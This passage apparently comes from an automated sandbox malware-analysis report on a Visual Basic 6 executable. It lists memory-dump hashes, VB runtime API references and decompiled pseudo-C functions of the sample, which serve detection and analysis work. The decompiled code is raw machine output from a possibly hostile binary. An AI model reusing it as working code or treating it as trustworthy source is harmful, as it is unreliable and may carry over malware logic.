        • Instruction Fuzzy Hash: F9E140DFE11A1207F7442A39FE6D3DB1BDAC7707ABE1B46358E0966ECBA42E4B050044
        Uniqueness

        Uniqueness Score: -1.00%

        Non-executed Functions

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 92e661f2b63d752d6389ba05ae3cc8de488813d7489daf090f77d12b493ee577
        • Instruction ID: b2a0f58409efd96950e9ef458934d86069042c142760b49977cafd586e15c45f
        • Opcode Fuzzy Hash: 92e661f2b63d752d6389ba05ae3cc8de488813d7489daf090f77d12b493ee577
        • Instruction Fuzzy Hash: 8C31B070784341EFEB287A348D98BB973A6BF40B54F15419AED528B1D1DFB4C884CA12
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: c818864dc1c7ac0ca24d5cb217e125a821782d2813ae9c99ce9d0a4083fb1c04
        • Instruction ID: 32b1c2da38851fc22ee60cb66e4f7a69b363a97c127c6026e7cc1c5b77193b44
        • Opcode Fuzzy Hash: c818864dc1c7ac0ca24d5cb217e125a821782d2813ae9c99ce9d0a4083fb1c04
        • Instruction Fuzzy Hash: 2B21A130784250EFEF286F2489D9BF973A3BF45B14F55409AED424B291DF71D885CA12
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: bd6c099442e1f66e1ce82dbfa2549984f71a7b93f93c0deb05ef393c45e53cc7
        • Instruction ID: a7e4f8216ac0aa7cde5aa549286a9581c20586d8aff58ceafef4a9b8b041c4b4
        • Opcode Fuzzy Hash: bd6c099442e1f66e1ce82dbfa2549984f71a7b93f93c0deb05ef393c45e53cc7
        • Instruction Fuzzy Hash: 5AF08C39B00201CFD318EF18C5D0F9AB3A6AB54B20BC68561ED058B260CB20E890CA55
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 2bf9031c9455562a41346a60c99d5c317fd958a623eed6d41aeb9f10d307aaca
        • Instruction ID: ffabc105d86fc589d8a28c7b81c69a0d2524f990139be6c6d60bf71e3d6c3e2d
        • Opcode Fuzzy Hash: 2bf9031c9455562a41346a60c99d5c317fd958a623eed6d41aeb9f10d307aaca
        • Instruction Fuzzy Hash: C5B092B62015818FEF02DB08D491B4073A0FB18748F4804D0E002CBB12C224E900CA00
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
        • Instruction ID: f1647c15dfe5582e2114d8b48c9dc7a79c4e1b76aa7bcc19d5d00c5bce2ac4c7
        • Opcode Fuzzy Hash: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
        • Instruction Fuzzy Hash:
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: b0a6107acbfd38134d6a224582e13b11c0b3a8d6ffda30ece9402a5dc30072e8
        • Instruction ID: 98381430c08b9c339d22e3db68f4115f5548ec2afce1987dbe9cd7b47a3b5542
        • Opcode Fuzzy Hash: b0a6107acbfd38134d6a224582e13b11c0b3a8d6ffda30ece9402a5dc30072e8
        • Instruction Fuzzy Hash: 3DB09230B65640CFCA8ACE08C280F4073F0BB14760F4214C0EC028BA51C324E800CA00
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?), ref: 0040B3EC
        • __vbaObjSet.MSVBVM60(?,00000000,?,?), ref: 0040B425
        • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00401D34,00000218,?,?), ref: 0040B46F
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?), ref: 0040B496
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?), ref: 0040B4CF
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D24,00000138,?,?,?,?), ref: 0040B51C
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?,?,?), ref: 0040B543
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?), ref: 0040B57C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,00000188,?,?,?,?,?,?), ref: 0040B5C9
        • __vbaAryDestruct.MSVBVM60(00000000,?,0040B904,?,?), ref: 0040B8F6
        • __vbaFreeVar.MSVBVM60(00000000,?,0040B904,?,?), ref: 0040B8FE
        • __vbaErrorOverflow.MSVBVM60 ref: 0040B923
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040B943
        • __vbaStrCopy.MSVBVM60(?,?,?,?,00401196), ref: 0040B95B
        • _CItan.MSVBVM60(?,?,?,?,00401196), ref: 0040B962
        • __vbaFpR8.MSVBVM60(?,?,?,?,00401196), ref: 0040B967
        • __vbaNew2.MSVBVM60(00401CF4,0040D33C,?,?,?,?,00401196), ref: 0040B98E
        • __vbaCastObj.MSVBVM60(?,00401D5C,Filmbyer,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9B8
        • __vbaObjSet.MSVBVM60(?,00000000,?,00401D5C,Filmbyer,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9C2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CE4,00000040,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9EB
        • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9FC
        • __vbaFreeStr.MSVBVM60(0040BA23,?,?,?,?,00401196), ref: 0040BA15
        • __vbaFreeObj.MSVBVM60(0040BA23,?,?,?,?,00401196), ref: 0040BA1D
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckFreeHresultNew2$CastChkstkCopyDestructErrorItanOverflow
        • String ID: Filmbyer
        • API String ID: 2409742240-3873735245
        • Opcode ID: 7097608b694dcf4059dc161e3427d30604a1ba8798566a06429fe4784f5de9f4
        • Instruction ID: 4208a7bdc6aaed788cfab1840fd0c4a927420932e79e127fc2d3f0f31f17d1cb
        • Opcode Fuzzy Hash: 7097608b694dcf4059dc161e3427d30604a1ba8798566a06429fe4784f5de9f4
        • Instruction Fuzzy Hash: 1AE1F374940219EFDB20DF91CC45BDDB7B4EB08304F1084FAE509BB2A1DB795A859F98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 58%
        			E0040B928(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* _a8) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v24;
        				intOrPtr _v28;
        				char _v40;
        				intOrPtr* _v44;
        				signed int _v48;
        				intOrPtr* _v56;
        				signed int _v60;
        				signed int _t25;
        				intOrPtr* _t27;
        				char* _t28;
        				intOrPtr _t42;
        
        				_push(0x401196);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t42;
        				_t25 = 0x28;
        				L00401190();
        				_v12 = _t42;
        				_v8 = 0x401110;
        				L00401244();
        				asm("fldz");
        				L00401214();
        				L0040123E();
        				asm("fcomp qword [0x401108]");
        				asm("fnstsw ax");
        				asm("sahf");
        				if(__eflags != 0) {
        					if( *0x40d33c != 0) {
        						_v56 = 0x40d33c;
        					} else {
        						_push(0x40d33c);
        						_push(0x401cf4);
        						L00401286();
        						_v56 = 0x40d33c;
        					}
        					_t27 =  *_v56;
        					_v44 = _t27;
        					L00401238();
        					_t28 =  &_v40;
        					L0040128C();
        					_t25 =  *((intOrPtr*)( *_v44 + 0x40))(_v44, _t28, _t28, _t27, _v28, 0x401d5c, L"Filmbyer");
        					asm("fclex");
        					_v48 = _t25;
        					if(_v48 >= 0) {
        						_t19 =  &_v60;
        						 *_t19 = _v60 & 0x00000000;
        						__eflags =  *_t19;
        					} else {
        						_push(0x40);
        						_push(0x401ce4);
        						_push(_v44);
        						_push(_v48);
        						L00401280();
        						_v60 = _t25;
        					}
        					L0040126E();
        				}
        				asm("wait");
        				_push(E0040BA23);
        				L00401268();
        				L0040126E();
        				return _t25;
        			}
















        0x0040b92d
        0x0040b938
        0x0040b939
        0x0040b942
        0x0040b943
        0x0040b94b
        0x0040b94e
        0x0040b95b
        0x0040b960
        0x0040b962
        0x0040b967
        0x0040b96c
        0x0040b972
        0x0040b974
        0x0040b975
        0x0040b982
        0x0040b99c
        0x0040b984
        0x0040b984
        0x0040b989
        0x0040b98e
        0x0040b993
        0x0040b993
        0x0040b9a6
        0x0040b9a8
        0x0040b9b8
        0x0040b9be
        0x0040b9c2
        0x0040b9d0
        0x0040b9d3
        0x0040b9d5
        0x0040b9dc
        0x0040b9f5
        0x0040b9f5
        0x0040b9f5
        0x0040b9de
        0x0040b9de
        0x0040b9e0
        0x0040b9e5
        0x0040b9e8
        0x0040b9eb
        0x0040b9f0
        0x0040b9f0
        0x0040b9fc
        0x0040b9fc
        0x0040ba01
        0x0040ba02
        0x0040ba15
        0x0040ba1d
        0x0040ba22

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040B943
        • __vbaStrCopy.MSVBVM60(?,?,?,?,00401196), ref: 0040B95B
        • _CItan.MSVBVM60(?,?,?,?,00401196), ref: 0040B962
        • __vbaFpR8.MSVBVM60(?,?,?,?,00401196), ref: 0040B967
        • __vbaNew2.MSVBVM60(00401CF4,0040D33C,?,?,?,?,00401196), ref: 0040B98E
        • __vbaCastObj.MSVBVM60(?,00401D5C,Filmbyer,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9B8
        • __vbaObjSet.MSVBVM60(?,00000000,?,00401D5C,Filmbyer,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9C2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CE4,00000040,?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9EB
        • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401196), ref: 0040B9FC
        • __vbaFreeStr.MSVBVM60(0040BA23,?,?,?,?,00401196), ref: 0040BA15
        • __vbaFreeObj.MSVBVM60(0040BA23,?,?,?,?,00401196), ref: 0040BA1D
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CastCheckChkstkCopyHresultItanNew2
        • String ID: Filmbyer
        • API String ID: 2758753910-3873735245
        • Opcode ID: 0f071113f1513ee0b1ce3147579da1bed4510041c00ef9d45238d14657e742c5
        • Instruction ID: fb4a6967777c1cb3b9405a02326bd341fa33cdec99208d2111b9baa101e53bd2
        • Opcode Fuzzy Hash: 0f071113f1513ee0b1ce3147579da1bed4510041c00ef9d45238d14657e742c5
        • Instruction Fuzzy Hash: B8210770941209AFCB00EB96C946BEEBBB8EB18714F20407BF501B61E1D77859449BAD
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 61%
        			E0040BB64(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				char _v32;
        				char _v36;
        				char _v52;
        				char _v68;
        				intOrPtr _v92;
        				intOrPtr _v100;
        				intOrPtr _v108;
        				char _v116;
        				void* _v120;
        				signed int _v124;
        				intOrPtr* _v136;
        				signed int _v140;
        				short _t50;
        				signed int _t53;
        				char* _t57;
        				void* _t71;
        				void* _t73;
        				intOrPtr _t74;
        
        				_t74 = _t73 - 0xc;
        				 *[fs:0x0] = _t74;
        				L00401190();
        				_v16 = _t74;
        				_v12 = 0x401138;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x74,  *[fs:0x0], 0x401196, _t71);
        				_v92 = 0x401d70;
        				_v100 = 8;
        				L00401298();
        				_push( &_v52);
        				_push( &_v68);
        				L0040122C();
        				_v108 = 0x401d7c;
        				_v116 = 0x8008;
        				_push( &_v68);
        				_t50 =  &_v116;
        				_push(_t50);
        				L004012A4();
        				_v120 = _t50;
        				_push( &_v68);
        				_push( &_v52);
        				_push(2);
        				L00401292();
        				_t53 = _v120;
        				if(_t53 != 0) {
        					if( *0x40d010 != 0) {
        						_v136 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v136 = 0x40d010;
        					}
        					_t57 =  &_v36;
        					L0040128C();
        					_v120 = _t57;
        					_t53 =  *((intOrPtr*)( *_v120 + 0x48))(_v120,  &_v32, _t57,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x310))( *_v136));
        					asm("fclex");
        					_v124 = _t53;
        					if(_v124 >= 0) {
        						_v140 = _v140 & 0x00000000;
        					} else {
        						_push(0x48);
        						_push(0x401d14);
        						_push(_v120);
        						_push(_v124);
        						L00401280();
        						_v140 = _t53;
        					}
        					_push(_v32);
        					L00401226();
        					L00401268();
        					L0040126E();
        				}
        				_push(E0040BCDD);
        				return _t53;
        			}
























        0x0040bb67
        0x0040bb76
        0x0040bb80
        0x0040bb88
        0x0040bb8b
        0x0040bb92
        0x0040bba1
        0x0040bba4
        0x0040bbab
        0x0040bbb8
        0x0040bbc0
        0x0040bbc4
        0x0040bbc5
        0x0040bbca
        0x0040bbd1
        0x0040bbdb
        0x0040bbdc
        0x0040bbdf
        0x0040bbe0
        0x0040bbe5
        0x0040bbec
        0x0040bbf0
        0x0040bbf1
        0x0040bbf3
        0x0040bbfb
        0x0040bc01
        0x0040bc0e
        0x0040bc2b
        0x0040bc10
        0x0040bc10
        0x0040bc15
        0x0040bc1a
        0x0040bc1f
        0x0040bc1f
        0x0040bc4f
        0x0040bc53
        0x0040bc58
        0x0040bc67
        0x0040bc6a
        0x0040bc6c
        0x0040bc73
        0x0040bc8f
        0x0040bc75
        0x0040bc75
        0x0040bc77
        0x0040bc7c
        0x0040bc7f
        0x0040bc82
        0x0040bc87
        0x0040bc87
        0x0040bc96
        0x0040bc99
        0x0040bca1
        0x0040bca9
        0x0040bca9
        0x0040bcae
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040BB80
        • __vbaVarDup.MSVBVM60 ref: 0040BBB8
        • #522.MSVBVM60(?,?), ref: 0040BBC5
        • __vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?), ref: 0040BBE0
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,?,?), ref: 0040BBF3
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,00401196), ref: 0040BC1A
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040BC53
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D14,00000048), ref: 0040BC82
        • #532.MSVBVM60(?), ref: 0040BC99
        • __vbaFreeStr.MSVBVM60(?), ref: 0040BCA1
        • __vbaFreeObj.MSVBVM60(?), ref: 0040BCA9
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$#522#532CheckChkstkHresultListNew2
        • String ID:
        • API String ID: 332616431-0
        • Opcode ID: ececfecb2c8cdfc37e44838171fa270ec974daeeeae563034e358a6bc62e74f4
        • Instruction ID: bafa15d263baf07fc8f35522bd04ca978f0d753677bc8b72579a99c589d2b489
        • Opcode Fuzzy Hash: ececfecb2c8cdfc37e44838171fa270ec974daeeeae563034e358a6bc62e74f4
        • Instruction Fuzzy Hash: C641E575900218ABDB10DFA1C945BADBBB8BF08704F20457EE105BB2A1DB785949DF98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 46%
        			E0040BD58(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				char _v32;
        				char _v36;
        				char _v40;
        				intOrPtr _v48;
        				intOrPtr _v56;
        				intOrPtr* _v60;
        				signed int _v64;
        				intOrPtr* _v68;
        				signed int _v72;
        				intOrPtr* _v80;
        				intOrPtr* _v84;
        				signed int _v88;
        				signed int _v92;
        				char* _t50;
        				char* _t54;
        				signed int _t58;
        				signed int _t62;
        				char* _t64;
        				intOrPtr _t80;
        
        				_push(0x401196);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t80;
        				_push(0x48);
        				L00401190();
        				_v12 = _t80;
        				_v8 = 0x401148;
        				if( *0x40d010 != 0) {
        					_v80 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v80 = 0x40d010;
        				}
        				_push( *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x310))( *_v80));
        				_t50 =  &_v40;
        				_push(_t50);
        				L0040128C();
        				_v68 = _t50;
        				_v48 = 0x80020004;
        				_v56 = 0xa;
        				if( *0x40d010 != 0) {
        					_v84 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v84 = 0x40d010;
        				}
        				_t54 =  &_v36;
        				L0040128C();
        				_v60 = _t54;
        				_t58 =  *((intOrPtr*)( *_v60 + 0x108))(_v60,  &_v32, _t54,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x2fc))( *_v84));
        				asm("fclex");
        				_v64 = _t58;
        				if(_v64 >= 0) {
        					_v88 = _v88 & 0x00000000;
        				} else {
        					_push(0x108);
        					_push(0x401d04);
        					_push(_v60);
        					_push(_v64);
        					L00401280();
        					_v88 = _t58;
        				}
        				L00401190();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_t62 =  *((intOrPtr*)( *_v68 + 0x1ec))(_v68, _v32, 0x10);
        				asm("fclex");
        				_v72 = _t62;
        				if(_v72 >= 0) {
        					_v92 = _v92 & 0x00000000;
        				} else {
        					_push(0x1ec);
        					_push(0x401d14);
        					_push(_v68);
        					_push(_v72);
        					L00401280();
        					_v92 = _t62;
        				}
        				L00401268();
        				_push( &_v40);
        				_t64 =  &_v36;
        				_push(_t64);
        				_push(2);
        				L00401262();
        				asm("wait");
        				_push(E0040BEE7);
        				return _t64;
        			}
























        0x0040bd5d
        0x0040bd68
        0x0040bd69
        0x0040bd70
        0x0040bd73
        0x0040bd7b
        0x0040bd7e
        0x0040bd8c
        0x0040bda6
        0x0040bd8e
        0x0040bd8e
        0x0040bd93
        0x0040bd98
        0x0040bd9d
        0x0040bd9d
        0x0040bdc0
        0x0040bdc1
        0x0040bdc4
        0x0040bdc5
        0x0040bdca
        0x0040bdcd
        0x0040bdd4
        0x0040bde2
        0x0040bdfc
        0x0040bde4
        0x0040bde4
        0x0040bde9
        0x0040bdee
        0x0040bdf3
        0x0040bdf3
        0x0040be17
        0x0040be1b
        0x0040be20
        0x0040be2f
        0x0040be35
        0x0040be37
        0x0040be3e
        0x0040be5a
        0x0040be40
        0x0040be40
        0x0040be45
        0x0040be4a
        0x0040be4d
        0x0040be50
        0x0040be55
        0x0040be55
        0x0040be61
        0x0040be6b
        0x0040be6c
        0x0040be6d
        0x0040be6e
        0x0040be7a
        0x0040be80
        0x0040be82
        0x0040be89
        0x0040bea5
        0x0040be8b
        0x0040be8b
        0x0040be90
        0x0040be95
        0x0040be98
        0x0040be9b
        0x0040bea0
        0x0040bea0
        0x0040beac
        0x0040beb4
        0x0040beb5
        0x0040beb8
        0x0040beb9
        0x0040bebb
        0x0040bec3
        0x0040bec4
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040BD73
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?,00401196), ref: 0040BD98
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040BDC5
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,00000000), ref: 0040BDEE
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040BE1B
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,00000108), ref: 0040BE50
        • __vbaChkstk.MSVBVM60 ref: 0040BE61
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D14,000001EC), ref: 0040BE9B
        • __vbaFreeStr.MSVBVM60 ref: 0040BEAC
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040BEBB
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckChkstkFreeHresultNew2$List
        • String ID:
        • API String ID: 2926503497-0
        • Opcode ID: 90fd6058a83f454e2e099046d9f3ece7cd4e73294e3609705f36a6c7ea761723
        • Instruction ID: 8f0a8665750bf55d1be14ae7542c21bcc2eeac6871119a3defce11327881c33b
        • Opcode Fuzzy Hash: 90fd6058a83f454e2e099046d9f3ece7cd4e73294e3609705f36a6c7ea761723
        • Instruction Fuzzy Hash: 2D41C275D01208EFCB00DFD1C845BDEBBB9EF48708F20446AF505BB2A1C7B969469B99
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 61%
        			E0040C0BB(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				char _v36;
        				char _v40;
        				intOrPtr* _v44;
        				signed int _v48;
        				signed int _v52;
        				intOrPtr* _v64;
        				signed int _v68;
        				signed int _v72;
        				char* _t46;
        				signed int _t50;
        				signed int _t53;
        				void* _t62;
        				void* _t64;
        				intOrPtr _t65;
        
        				_t65 = _t64 - 0xc;
        				 *[fs:0x0] = _t65;
        				L00401190();
        				_v16 = _t65;
        				_v12 = 0x401180;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x30,  *[fs:0x0], 0x401196, _t62);
        				if( *0x40d010 != 0) {
        					_v64 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v64 = 0x40d010;
        				}
        				_t46 =  &_v40;
        				L0040128C();
        				_v44 = _t46;
        				_t50 =  *((intOrPtr*)( *_v44 + 0x218))(_v44,  &_v36, _t46,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x310))( *_v64));
        				asm("fclex");
        				_v48 = _t50;
        				if(_v48 >= 0) {
        					_v68 = _v68 & 0x00000000;
        				} else {
        					_push(0x218);
        					_push(0x401d14);
        					_push(_v44);
        					_push(_v48);
        					L00401280();
        					_v68 = _t50;
        				}
        				_t53 =  *((intOrPtr*)( *_a4 + 0x16c))(_a4, _v36);
        				asm("fclex");
        				_v52 = _t53;
        				if(_v52 >= 0) {
        					_v72 = _v72 & 0x00000000;
        				} else {
        					_push(0x16c);
        					_push(0x401b14);
        					_push(_a4);
        					_push(_v52);
        					L00401280();
        					_v72 = _t53;
        				}
        				L00401268();
        				L0040126E();
        				_push(E0040C1E1);
        				return _t53;
        			}




















        0x0040c0be
        0x0040c0cd
        0x0040c0d7
        0x0040c0df
        0x0040c0e2
        0x0040c0e9
        0x0040c0f8
        0x0040c102
        0x0040c11c
        0x0040c104
        0x0040c104
        0x0040c109
        0x0040c10e
        0x0040c113
        0x0040c113
        0x0040c137
        0x0040c13b
        0x0040c140
        0x0040c14f
        0x0040c155
        0x0040c157
        0x0040c15e
        0x0040c17a
        0x0040c160
        0x0040c160
        0x0040c165
        0x0040c16a
        0x0040c16d
        0x0040c170
        0x0040c175
        0x0040c175
        0x0040c189
        0x0040c18f
        0x0040c191
        0x0040c198
        0x0040c1b4
        0x0040c19a
        0x0040c19a
        0x0040c19f
        0x0040c1a4
        0x0040c1a7
        0x0040c1aa
        0x0040c1af
        0x0040c1af
        0x0040c1bb
        0x0040c1c3
        0x0040c1c8
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040C0D7
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?,00401196), ref: 0040C10E
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040C13B
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D14,00000218), ref: 0040C170
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401180,00401B14,0000016C), ref: 0040C1AA
        • __vbaFreeStr.MSVBVM60 ref: 0040C1BB
        • __vbaFreeObj.MSVBVM60 ref: 0040C1C3
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckFreeHresult$ChkstkNew2
        • String ID:
        • API String ID: 304406766-0
        • Opcode ID: bc214298262aca1c9be9777c395716e1f4c2eae4ca75ff922c2c963661005a46
        • Instruction ID: 2cbb697d16dc3fe1fcec175f7b4b0b50584f1192b7de197b09d26ae4ee65b835
        • Opcode Fuzzy Hash: bc214298262aca1c9be9777c395716e1f4c2eae4ca75ff922c2c963661005a46
        • Instruction Fuzzy Hash: 0131C275940208EFCB00DFA5C889BDDBBB5BF08748F10456AF405BB2A2C7795945DFA8
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 65%
        			E0040BF02(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12, void* _a28) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v40;
        				void* _v56;
        				signed int _v64;
        				signed int _v76;
        				signed int _t30;
        				void* _t40;
        				void* _t42;
        				intOrPtr _t43;
        
        				_t43 = _t42 - 0xc;
        				 *[fs:0x0] = _t43;
        				L00401190();
        				_v16 = _t43;
        				_v12 = 0x401158;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x34,  *[fs:0x0], 0x401196, _t40);
        				L00401298();
        				L00401298();
        				_t30 =  *((intOrPtr*)( *_a4 + 0x15c))(_a4, 0);
        				asm("fclex");
        				_v64 = _t30;
        				if(_v64 >= 0) {
        					_v76 = _v76 & 0x00000000;
        				} else {
        					_push(0x15c);
        					_push(0x401b14);
        					_push(_a4);
        					_push(_v64);
        					L00401280();
        					_v76 = _t30;
        				}
        				asm("wait");
        				_push(E0040BFA8);
        				L0040125C();
        				L0040125C();
        				return _t30;
        			}














        0x0040bf05
        0x0040bf14
        0x0040bf1e
        0x0040bf26
        0x0040bf29
        0x0040bf30
        0x0040bf3f
        0x0040bf48
        0x0040bf53
        0x0040bf62
        0x0040bf68
        0x0040bf6a
        0x0040bf71
        0x0040bf8d
        0x0040bf73
        0x0040bf73
        0x0040bf78
        0x0040bf7d
        0x0040bf80
        0x0040bf83
        0x0040bf88
        0x0040bf88
        0x0040bf91
        0x0040bf92
        0x0040bf9a
        0x0040bfa2
        0x0040bfa7

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040BF1E
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401196), ref: 0040BF48
        • __vbaVarDup.MSVBVM60(?,?,?,?,00401196), ref: 0040BF53
        • __vbaHresultCheckObj.MSVBVM60(00000000,00401158,00401B14,0000015C), ref: 0040BF83
        • __vbaFreeVar.MSVBVM60(0040BFA8), ref: 0040BF9A
        • __vbaFreeVar.MSVBVM60(0040BFA8), ref: 0040BFA2
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckChkstkHresult
        • String ID:
        • API String ID: 3894782938-0
